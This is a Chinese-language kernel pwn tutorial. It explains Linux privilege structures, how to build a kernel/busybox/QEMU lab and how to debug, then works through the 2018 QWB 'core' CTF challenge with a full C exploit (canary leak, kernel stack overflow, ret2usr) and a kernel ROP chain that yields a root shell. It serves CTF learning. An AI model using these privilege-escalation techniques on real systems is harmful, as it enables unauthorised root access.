kernel pwn从小白到大神(一)
默文 发表于 浙江 二进制安全 2353浏览 · 2024-09-23 04:13

kernel pwn从小白到大神(一)

前言:本文章是kernel的开始,从前置理论基础到环境搭建,最后到kernel pwn的实践,一条龙服务啊!!!

kernel前置知识

操作系统内核

操作系统内核(Operating System Kernel)也是一种软件,负责在硬件和软件之间架起一座桥梁,确保系统的稳定和高效运行。

操作系统内核是抽象的一种概念,本质上和普通进程一样(代码+数据),不同点是内核代码执行时具有高权限,有完全的硬件访问控制权限。普通用户代码执行时只有低权限,只拥有部分硬件权限。

这两种不同权限的运行状态实际上是通过硬件来实现的

分级保护域

分级保护域(hierarchical protection domains),简称Rings,一种权限划分的模型。在一些硬件或者微代码级别上提供不同特权态模式的CPU架构上,保护环通常都是硬件强制的。

OS/2的3环结构

Ring 0用于内核代码和驱动程序, Ring 2用于某些需要特权的代码(I/O权限的用户程序),Ring 3用于非特权代码(几乎所有的用户程序都在这一级别)

下图画了Ring 1并不影响,不同系统采用不同Rings保护机制,有2环( Windows 7),也有8环的(Honeywell 6180)。

状态切换

主要有两种途径:

  • 中断与异常
    • 当 CPU 接收到中断或异常信号时,会自动切换到 Ring 0(内核模式),并根据中断描述符表查找相应的中断处理程序。这种方式用于响应外部事件(如硬件中断)或内部异常(如除零错误)。
  • 特权级相关指令
    • 某些指令(iret、sysret、sysenter、syscall)会导致特权级的切换:
      • iret、sysret 指令用于从内核模式切换回用户模式(Ring 0Ring 3)。
      • sysenter、syscall 指令用于从用户模式切换到内核模式(Ring 3Ring 0),常用于执行系统调用。

用户态->内核态

  1. 通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
  2. 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp
  3. 通过 push 保存各寄存器值
  4. 通过汇编指令判断是否为 x32_abi
  5. 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。

内核态->用户态

  1. 通过 swapgs 恢复 GS 值。
  2. 通过 sysretq 或者 iretq 恢复到用户控件继续执行。使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)。
#栈空间布局
↓   swapgs
    iretq
    user_execute_addr
    user_cs
    user_eflags 
    user_sp
    user_ss

进程权限管理

内核 kernel 调度着一切的系统资源,并为用户应用程式提供运行环境,相应地,应用程式的权限也都是由 kernel 进行管理的。

进程权限凭证(credential)

内核中使用结构体 task_struct 表示一个进程,结构体定义于内核源码include/linux/sched.h。在task_struct中包含结构体cred

cred用来管理一个进程的权限,该结构体定义于内核源码 include/linux/cred.h

cred结构体记载了进程四种不同的用户标识(ID)

  • real UID(真实用户 ID)uidgid
    • 代表任务的实际用户 ID 和组 ID。
  • saved UID(保存用户 ID)suidsgid
    • 保存的用户 ID 和组 ID,通常用于 SUID 程序。
  • effective UID(有效用户 ID)euidegid

    • 有效用户 ID 和组 ID,决定了该任务在访问控制上的权限。
  • UID for VFS ops(文件系统用户 ID)fsuidfsgid

    • 在进行 VFS(虚拟文件系统)操作时使用的 UID 和 GID。

进程权限改变

一个进程的权限是通过cred结构体进行管理的,那么只要更改cred就能改变执行权限。在内核空间有如下两个函数,都位于 kernel/cred.c 中。

prepare_kernel_cred

  • 功能:该函数用于创建一个新的 cred 结构体副本。它接受一个有效的进程描述符作为参数,并从中复制当前进程的权限信息。
  • 参数
    • struct task_struct* daemon:这是一个指向目标进程的指针,可以是任何有效进程的描述符,通常是系统中某个特定的进程。
  • 返回值:返回一个新的 cred 结构体指针,包含了复制的权限信息。

    commit_creds

  • 功能:该函数用于将新的 cred 结构体应用到当前进程。这意味着新的权限信息将替代进程原有的权限设置。

  • 参数
    • struct cred *new:指向要应用的新 cred 结构体的指针。
  • 返回值:无返回值,但在操作成功后,进程的权限将更新为新的权限设置。

通过commit_creds(prepare_kernel_cred(NULL))就能拿到root权限,这也是在kernel pwn中常用的提权手段。

两个函数地址,可以通过/proc/kallsyms文件查看(需要root权限)

LKMs(可装载内核模块)

大多数 CTF 中的 kernel vulnerability 也出现在 LKM 中。

LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF,Windows 下为 exe/dll,mac 下为 MACH-O。但是其不能够独立运行,而只能作为内核的一部分存在。

相关指令

  • insmod: 讲指定模块加载到内核中
  • rmmod: 从内核中卸载指定模块
  • lsmod: 列出已经加载的模块
  • modprobe: 添加或删除模块,modprobe 在加载模块时会查找依赖关系

通常在kernel pwn的时候,都会通过装载内核模块,我们通过分析模块寻找漏洞来提权,这是一般kernel pwn的过程。

通过lsmod就能查看装载模块,在调试的时候也是需要附加模块基地址,这个后面会实践。

内核交互

在一般系统调用就是通过系统调用号来实现,比如64位下read的系统调用号为0

/usr/include/x86_64-linux-gnu/asm/unistd_64.h/usr/include/x86_64-linux-gnu/asm/unistd_32.h 可以查看 64 位和 32 位的系统调用号。

系统调用:ioctl

Linux 系统中,几乎所有设备都被视为文件,这使得通过标准的文件操作(如 openreadwriteclose)来访问设备变得简单。然而,某些操作超出了这些标准接口的能力,需要一个更灵活的机制来处理设备特定的功能,这就是 ioctl 的用武之地。

ioctl 的功能

  • 设备控制:通过 ioctl,用户空间程序可以发送控制命令给设备驱动程序,进行设备特定的操作,比如设置设备参数、查询设备状态等。
  • 扩展性:因为设备驱动是可扩展的,ioctl 使得新设备可以通过定义新的请求码和操作接口来被支持,而不需要修改现有的系统调用。

函数原型

在 C 语言中,ioctl 的原型如下:

int ioctl(int fd, unsigned long request, ...);
  • fd:文件描述符,通常是通过 open() 函数获取的,用于指定要操作的设备。
  • request:请求的命令,通常是一个宏,定义了要执行的操作。
  • ...:可选参数,具体取决于请求的类型,有时需要传递指向结构体的指针或其他参数。

使用ioctl

int fd = open("/dev/mydevice", 2);//在内核中攻击使用/proc/mydevice
ioctl(fd, request_code, data) ;

常见内核态函数

printk:用于在内核空间中打印调试信息或状态信息,通过dmesg查看调试信息。

copy_from_user():用户空间的数据拷贝到内核空间。

copy_to_user():内核空间的数据拷贝到用户空间。

kmalloc(),内核态的内存分配函数,和 malloc() 相似,但使用的是 slab/slub 分配器。

kfree(),同 kmalloc

搭建内核环境

内核启动需要两个文件bzImage(压缩内核镜像),core.cpio(镜像文件)

环境依赖

sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils qemu flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev dwarves zstd

获取内核镜像bzImage

两种方式:

  • 使用现成的系统镜像(做题时镜像都会给,或者自己系统的内核镜像)
  • 下载内核源码编译

自行编译内核源码

下载内核源码

Linux Kernel Archive下载对应版本的内核源码

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.tar.xz

配置编译选项

tar -xvf linux-5.11.tar.xz
cd linux-5.11.1/
make menuconfig

一般直接make,什么配置都不用修改。

检查勾选配置:

  • Kernel hacking —> Kernel debugging
  • Kernel hacking —> Compile-time checks and compiler options —> Compile the kernel with debug info
  • Kernel hacking —> Generic Kernel Debugging Instruments –> KGDB: kernel debugger
  • kernel hacking —> Compile the kernel with frame pointers

修改.config文件

.config文件CONFIG_SYSTEM_TRUSTED_KEYS,后面=改为""

编译源码可能会出现的报错问题

如果还出现*.pem的报错就在.config中找到*.pem改为""就行。

多次编译可能会造成磁盘空间不足

编译内核时遇到了磁盘空间不足的问题

df -h #查看磁盘使用情况
sudo rm -rf /tmp/*
sudo apt-get clean

还有问题,一般是依赖报错,对应安装一下依赖就行,根据自己报错信息查看。

编译源码

生成内核镜像,时间大概5-15分钟。

make -j$(nproc) bzImage

编译成功会出现Kernel: arch/x86/boot/bzImage is ready (#2)

vmlinux:原始内核文件

在当前目录下提取到vmlinux,为编译出来的原始内核文件

bzImage:压缩内核镜像

在当前目录下的arch/x86(其他架构都有)/boot/目录下提取到bzImage,为压缩后的内核文件,适用于大内核

zImage && bzImage

zImage–是vmlinux经过gzip压缩后的文件。
bzImage–bz表示“big zImage”,不是用bzip2压缩的,而是要偏移到一个位置,使用gzip压缩的。两者的不同之处在于,zImage解压缩内核到低端内存(第一个 640K),bzImage解压缩内核到高端内存(1M以上)。如果内核比较小,那么采用zImage或bzImage都行,如果比较大应该用bzImage。

https://blog.csdn.net/xiaotengyi2012/article/details/8582886

DIY内核文件

  • arch/x86/entry/syscalls/syscall_64.tbl:将系统调用号添加到系统调用表中。
  • include/linux/syscalls.h:添加系统调用的声明。
  • kernel/sys.c:添加系统调用的实现函数。

添加系统调用号

gedit arch/x86/entry/syscalls/syscall_64.tbl
1314    64    mowen        sys_mowen

声明系统调用

gedit include/linux/syscalls.h
asmlinkage long sys_mowen(void);

定义系统调用

kernel/sys.c最后加上

gedit kernel/sys.c
SYSCALL_DEFINE0(mowen){
    printk("SYSCALL_mowen\n");
    return 1314;
}
//SYSCALL_DEFINE0()是一个宏,意为接收0个参数的系统调用,其第一个参数为系统调用名

//测试代码
#include <unistd.h>
int main(void)
{
    syscall(1314);
    return 0;
}

编译内核,然后使用test测试,这里使用qemu启动内核,之后会说,使用dmesg查看内核调试信息

busybox 构建文件系统

编译busybox

busybox.net下载版本

wget https://busybox.net/downloads/busybox-1.33.0.tar.bz2
tar -jxvf busybox-1.33.0.tar.bz2
cd busybox-1.33.0/
make menuconfig
make install

勾选 Settings —> Build static file (no shared libs)

若是不勾选则需要单独配置 libc,比较麻烦

编译完成后会生成一个_install目录,在改目录中配置磁盘镜像。

配置磁盘镜像

文件创建配置

cd _install
#我使用sh脚本执行,把下面命令写入1.sh,或者一条一条命令执行也是可以的
mkdir -pv {bin,tmp,sbin,etc,proc,sys,home,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
touch etc/inittab
mkdir etc/init.d
touch etc/init.d/rcS
chmod +x ./etc/init.d/rcS

配置初始化脚本

配置 etc/inttab

gedit etc/inttab
#写入下面的内容
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

etc/inittab 用于定义系统初始化和服务启动行为的配置文件。这个文件包含了系统启动、运行级别变更、以及系统关闭时要执行的指令和脚本。

  1. ::sysinit:/etc/init.d/rcS
    • 系统初始化时执行 /etc/init.d/rcS 脚本。sysinit 是系统启动过程中早期的阶段,在这个阶段,通常会挂载文件系统、初始化硬件等。
  2. ::askfirst:/bin/ash
    • 系统启动完成后,如果配置为单用户模式或者没有定义默认的运行级别,系统会提示用户是否要启动一个 shell(在这里是 /bin/ash)。
  3. ::ctrlaltdel:/sbin/reboot
    • 按下 Ctrl+Alt+Delete 组合键时,系统会执行 /sbin/reboot 命令,即重新启动系统。
  4. ::shutdown:/sbin/swapoff -a
    • 在系统关闭过程中,执行 /sbin/swapoff -a 命令来关闭所有的交换空间,确保所有的数据都已经写回到磁盘上,防止数据丢失。
  5. ::shutdown:/bin/umount -a -r
    • 同样在系统关闭过程中,执行 /bin/umount -a -r 命令来卸载所有的文件系统。
  6. ::restart:/sbin/init
    • 重启时,执行 /sbin/init 命令,系统重新进入初始化过程。

初始化脚本可以用/etc/init.d/rcSinit,这里使用/etc/init.d/rcS,直接cat写入

sudo cat <<EOF > etc/init.d/rcS
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

poweroff -d 0  -f
EOF
配置用户组
echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
echo "root:x:0:" > etc/group
echo "ctf:x:1000:" >> etc/group
echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab
打包文件系统为镜像文件

打包为 cpio 文件

find . | cpio -o --format=newc > ../rootfs.cpio
#或者
find . | cpio -o -H newc > ../rootfs.cpio

向文件系统中添加文件,在后面做题经常会用,会往磁盘镜像中放入exp

解压磁盘镜像

cpio -idv < ./rootfs.cpio
#-i:表示解包模式(extract mode)。
#-d:表示创建目录(create directories)。如果归档中包含目录,而这些目录在目标位置不存在,-d 选项会让 cpio 自动创建这些目录。
#-v:表示详细模式(verbose mode)。启用详细模式后,cpio 会在解包过程中显示处理的文件名。

然后放入文件,之后重新使用上面的打包命令就行

qemu运行内核

bzImagerootfs.cpio放到同一个目录下,然后编写sh脚本

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd  ./rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -nographic \
    -s
  • -m:虚拟机内存大小(如果启动的内核一直在重启,是内存恐慌,内存调大就行)
  • -kernel:内存镜像路径
  • -initrd:磁盘镜像路径
  • -append:附加参数选项
    • nokalsr:关闭内核地址随机化,方便我们进行调试
    • rdinit:指定初始启动进程,/sbin/init进程会默认以 /etc/init.d/rcS 作为启动脚本
    • loglevel=3& quiet:不输出log
    • console=ttyS0:指定终端为/dev/ttyS0,这样一启动就能进入终端界面
  • -monitor:将监视器重定向到主机设备/dev/null,这里重定向至null主要是防止CTF中被人给偷了qemu拿flag
  • -cpu:设置CPU安全选项,在这里开启了smep保护(smep保护就不能采用ret2usr手法了)
  • -s:相当于-gdb tcp::1234的简写(也可以直接这么写),后续我们可以通过gdb连接本地端口进行调试

调试Linux内核

这里以kernel-ROP 2018 强网杯,为例子,再给的init文件中,装载了core模块,poweroff是关机命令直接注释,调试需要root权限,改为 0。

调试需要模块代码段的基地址,两种方式都需要root权限才可以,所以平时调试的时候要改为root权限

lsmod
cat /sys/module/core/sections/.text

然后再gdb.sh中写入以下代码方便调试

#!/bin/sh
pwndbg -q -ex "target remote localhost:1234" \
    -ex "add-symbol-file ./core.ko $1" \
    -ex "b core_copy_func" \
    -ex "b core_write" \
    -ex "b core_ioctl" \
    -ex "b* core_copy_func+0x3b" \
    -ex "c"

成功启动,然后运行exp进行调试就行

实战题目

内核题目和普通用户态的题目差不多,用户态:system("/bin/sh");在内核态就是:commit_creds(prepare_kernel_cred(NULL));,在gadget由用户代码到内核的gadget。

2018 强网杯 - core

通过start.sh启动文件查看,开启的保护只有kaslr(和普通用户态的aslr相同),后期的FGKASLR以函数粒度重新排布内核代码

ret2usr方法(已经过时)

在没有使用KPTI(内核页表隔离)的内核之前都可以使用

在未开启 SMAP/SMEP 保护的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问 / 执行用户空间的数据,ret2usr可以直接在内核态执行普通用户程式中写的commit_creds(prepare_kernel_cred(NULL));

从init配置文件看起,上面都是一些挂载的操作,

cat /proc/kallsyms > /tmp/kallsyms #把/proc/kallsyms 写入/tmp/kallsyms,这样不以root权限就能读取函数地址
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict #关闭内核信息日志,将无法通过/proc/kallsyms查看函数的地址

然后insmod core.ko挂载了core模块,主要分析的就是这个模块,然后poweroff这个关机的直接注释,位了方便之后调试,把权限改为root

模块开启canary和NX保护

init_module中程序创建了虚拟文件/proc/core,通过该文件实现与内核的交互

通过ioctl来实现各种方法,

core_read中通过off造成的内核stack溢出,可以复制canary到用户态然后泄露

core_copy_func中有栈溢出,传入的是8位有符号类型,然后使用2字节的数据来进行复制,传入负数就可以绕过

core_write把用户态的数据写入name,配合上面完成溢出的栈布置

利用过程

  • 读取/tmp/kallsyms泄露两个提权函数地址,保存用户空间寄存器状态
  • 利用ioctl设置off,然后利用copy_to_user泄露canary
  • 利用write写入name,在利用ioctl中的qmemcpy的栈溢出构造出返回用户态执行commit_creds(prepare_kernel_cred(0))
  • 利用swapgs和iretq指令从内核空间切换到用户控制,执行system("/bin/sh")

因为有汇编编译使用-masm

gcc -o exp ./qwb_test2.c -w -static -masm=intel

EXP

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#define __int64 long long
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
size_t find_symbols();
void printColor(char* buf);
void getshell(void);
void set_off(int fd,__int64 data){
    printf("[*] set off -> %lld\n",data);
    ioctl(fd,0x6677889C,data);
}
void core_read(int fd,char* buf){
    printf("[*] core read addr-> 0x%llx\n",buf);
    ioctl(fd,0x6677889B,buf);
}
void core_copy_func(int fd,__int64 data){
    printf("[*] core_copy_func -> %llx\n",data);
    ioctl(fd,0x6677889A,data);
}
size_t Get_Real_addr(size_t addr){
   return addr-raw_vmlinux_base+vmlinux_base;
}
typedef struct StackAttack
{
   size_t buf[256];
   int idx;
}ATTACKS,*P_IMAGE_stack;
P_IMAGE_stack soverflow;
void ATTACK_init(){
   puts("[*]ATTACK_init");
   soverflow=(P_IMAGE_stack)malloc(sizeof(ATTACKS));
   if(soverflow==NULL){
      puts("[*]init error");
      exit(-1);
   }
   soverflow->idx=8;
} 
void ATTACK_change(size_t data){
   soverflow->buf[soverflow->idx]=data;
   soverflow->idx++;
}
void ret2usr(){
   __asm__(
      "xor rdi,rdi;"
      "mov rax,prepare_kernel_cred;"
      "call rax;"
      "mov rdi,rax;"
      "mov rax,commit_creds;"
      "call rax;"
   );
}
const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/proc/core\0";
const __int64 commit_offset=0x9c8e0;
const __int64 prepare_offset=0x9cce0;
/*
[+] commit_creds --> 0x9c8e0 
[+] prepare_kernel_cred --> 0x9cce0 
*/
int main(void){
    puts("[*]start");
    save_status();
    int fd = open(FileAttack,2);
    if(fd < 0){
        puts("[*]open /proc/core error!");
    }
    find_symbols(FILESYM,commit_offset,prepare_offset);
    set_off(fd,64);
    char buf[64] = {0};
    core_read(fd, buf);
    size_t canary=((size_t*)buf)[0];
    printf("[*] canary -> 0x%llx\n",canary);

    size_t swapgs_popfq_ret=0xffffffff81a012da;
    size_t iretq_ret=0x50ac2;
    ATTACK_init();
    puts("[*]ATTACK payload++");
    ATTACK_change((canary));
    ATTACK_change(0);
    ATTACK_change((size_t)ret2usr);//ret2usr能直接在内核态执行用户代码,但是已经过时
    ATTACK_change(Get_Real_addr(swapgs_popfq_ret));
    ATTACK_change(0);
    ATTACK_change(iretq_ret+vmlinux_base);
    ATTACK_change((size_t)getshell);
    ATTACK_change(user_cs);
    ATTACK_change(user_rflags);
    ATTACK_change(user_sp);
    ATTACK_change(user_ss);

    printColor("[*]write");
    //write(fd,soverflow->buf,0x800);
    write(fd,soverflow->buf,0x800);
    core_copy_func(fd,0xFFFFFFFFFFFF0000|(0x100));
    return 0;
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}

size_t find_symbols(const char*FILENAME,__int64 commit_offset,__int64 prepare_offset){
   FILE* kallsyms_fd = fopen(FILENAME,"r");
   if(kallsyms_fd < 0){
      puts("[*]open kallsyms error!");
      exit(0);
   }

   char buf[0x30] = {0};
   while(fgets(buf,0x30,kallsyms_fd)){
      if(commit_creds & prepare_kernel_cred)return 0;
      //find commit_creds
      if(strstr(buf,"commit_creds") && !commit_creds){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&commit_creds);
         printf("commit_creds addr: %p\n",commit_creds);

         vmlinux_base = commit_creds - commit_offset;
         printf("vmlinux_base addr: %p\n",vmlinux_base);
      }

      //find prepare_kernel_cred
      if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&prepare_kernel_cred);
         printf("prepare_kernel_cred addr: %p\n",prepare_kernel_cred);
         vmlinux_base = prepare_kernel_cred - prepare_offset;
      }
   }

   if(!commit_creds & !prepare_kernel_cred){
      puts("[*]read kallsyms error!");
      exit(0);
   }
} 

void getshell(void)
{   
    if(getuid())
    {
        printColor("[x] fail get shell");
        exit(-1);
    }

    printColor("[*]Successful");
    system("/bin/sh");
}
void printColor(char* buf){
   printf("\033[31m\033[1m%s\033[0m\n",buf);
}

提权成功

Kernel ROP

内核态的 ROP 与用户态的 ROP差不多,只不过利用的 gadget 变成了内核中的 gadget

在内核态构造ROP完成commit_creds(prepare_kernel_cred(NULL)),线程的 cred 结构体便变为 init 进程的 cred 的拷贝,也就获得了 root 权限,然后返回用户态执行system("/bin/sh")便能获得 root shell

ROP寻找

vmlinux 则是静态编译,未经过压缩的 kernel 文件,可以在vmlinux中找到gadget

ROPgadget --binary ./vmlinux > rop_all.txt

如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取。

./extract-vmlinux ./bzImage > vmlinux

然后使用正则搜索想要的gadget

我找了这样的gadget来完成commit_creds(prepare_kernel_cred(NULL))

为什么采用commit_creds+2,要把rax的值赋值给rdi之后再call函数,没有call完之后就ret的gadget方便我们使用

call完之后会还原到原来的地址,但是commit_creds第一句是push指令,跳过这个指令就跳到栈上的下一跳地址

红色箭头指向本来要返回的地址,现在会调用swapgs执行

代码和ret2usr一样,不同的地方是ATTACK的覆盖数据

ATTACK_init();
puts("[*]ATTACK payload++");
ATTACK_change((canary));
ATTACK_change(0);
ATTACK_change(Get_Real_addr(rdi_ret));
ATTACK_change(0);
ATTACK_change((prepare_kernel_cred));
ATTACK_change(Get_Real_addr(rdx_ret));
ATTACK_change((commit_creds+2));
ATTACK_change(Get_Real_addr(movRdi_Rax_callRDX));
ATTACK_change(Get_Real_addr(swapgs_popfq_ret));
ATTACK_change(0);
ATTACK_change(iretq_ret+vmlinux_base);
ATTACK_change((size_t)getshell);
ATTACK_change(user_cs);
ATTACK_change(user_rflags);
ATTACK_change(user_sp);
ATTACK_change(user_ss);
1 条评论
某人
表情
可输入 255